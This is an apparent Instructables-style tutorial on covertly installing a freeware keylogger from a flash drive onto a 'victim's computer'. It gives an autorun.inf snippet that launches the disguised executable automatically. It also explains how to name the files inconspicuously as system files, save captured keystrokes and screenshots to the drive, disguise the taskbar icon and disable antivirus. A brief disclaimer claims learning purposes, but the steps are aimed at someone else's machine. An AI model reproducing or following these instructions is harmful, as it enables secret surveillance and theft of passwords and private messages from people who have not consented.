Introduction: Easy Software Keylogger Using Shadow Keylogger

If you have been on the internet and not living under a rock the last decade you should know what a keylogger is. It is a small application that runs in the background of a computer invisibly and records all keystrokes made on a computer. Some are as advanced enough to capture screenshots, IM logs, video, audio, webcam, etc. but these usually cost alot of money upwards of $100! In this instructable i will explain how to put a freeware keylogger on a flash drive and easily record the keystrokes of the victims computer.

NOTE: I am not responsible for what you do with this information. This is intended for learning purposes and use on YOUR OWN computer.

Step 1: You Will Need...

This instructable is simple and very straight forward, and assuming you already have a flash drive, free as well.

What you will need...

1.) A flash drive. I would recommend at least a one gigabyte.

2.) Shadow Keylogger (freeware) available for download from cnet.com  here

3.) A victim's computer

Step 2: This Is Optional...

This instructable goes great when used on a encrypted drive.


PROS
- Keeps you doings secret
- Allows a safe place to store logs

CONS
- Makes a longer setup time
- More noticeable

If you want to use a encrypted drive, follow my other instructable before continuing with this one.

Step 3: Download and Load Up...

After downloading the Shadow Keylogger Freeware the setup is very straight forward.

Simply place the shadow keylogger.exe into a folder in the flash drive labeled something non-conspicuous like "SystemFiles" and rename the keylogger as "system".

Step 4: Make a Autorun File...

Now we will create a autorun.inf file which when put in the root folder of your flash drive will tell the computer to automatically start the keylogger application.

copy the following...

[autorun]
action=Open Keylogger
open=systemfiles\system.exe

NOTE: If you named the folder or exe something different then systemfiles and system then change the script to accommodate your situation.

Save this file as autorun.inf and put it in the root directory of your flash drive

Step 5: Advanced Options...

If you thought that was all to this instructable you were wrong. Within the Keylogger software there is an advanced button this include the directory in which the log is saved. this is usefull and should be changed to your flash drive. There is also a option to capture screenshots but be careful about the screenshots as they can fill up a flash drive quickly if running for an extended period of time.

Step 6: Try It Out...

Next try it by unplugging your flash drive and plugging it back in. if the autorun file works correctly a box prompting for a password should appear. Now just type in your password and click finish. Next type in your password again and click record.

If it does not auto start on detection you can start it manually by simply clicking on the exe file in the flash drive.

Once running the keylogger will appear in the task bar as a whatever it is set as for a disguise. to access the log simply click on this icon and type in your password and you may view the log as well as save the record.

Please note that once the flashdrive is removed the keylogger will not remain active as it does not install into the system. Some anti-viruses may also have a problem with this so it is recommended that either you shut off the anti-virus manually or add an exception. I will not go into detail on how to do this as every anti-virus is different and i do not have time to cover them all.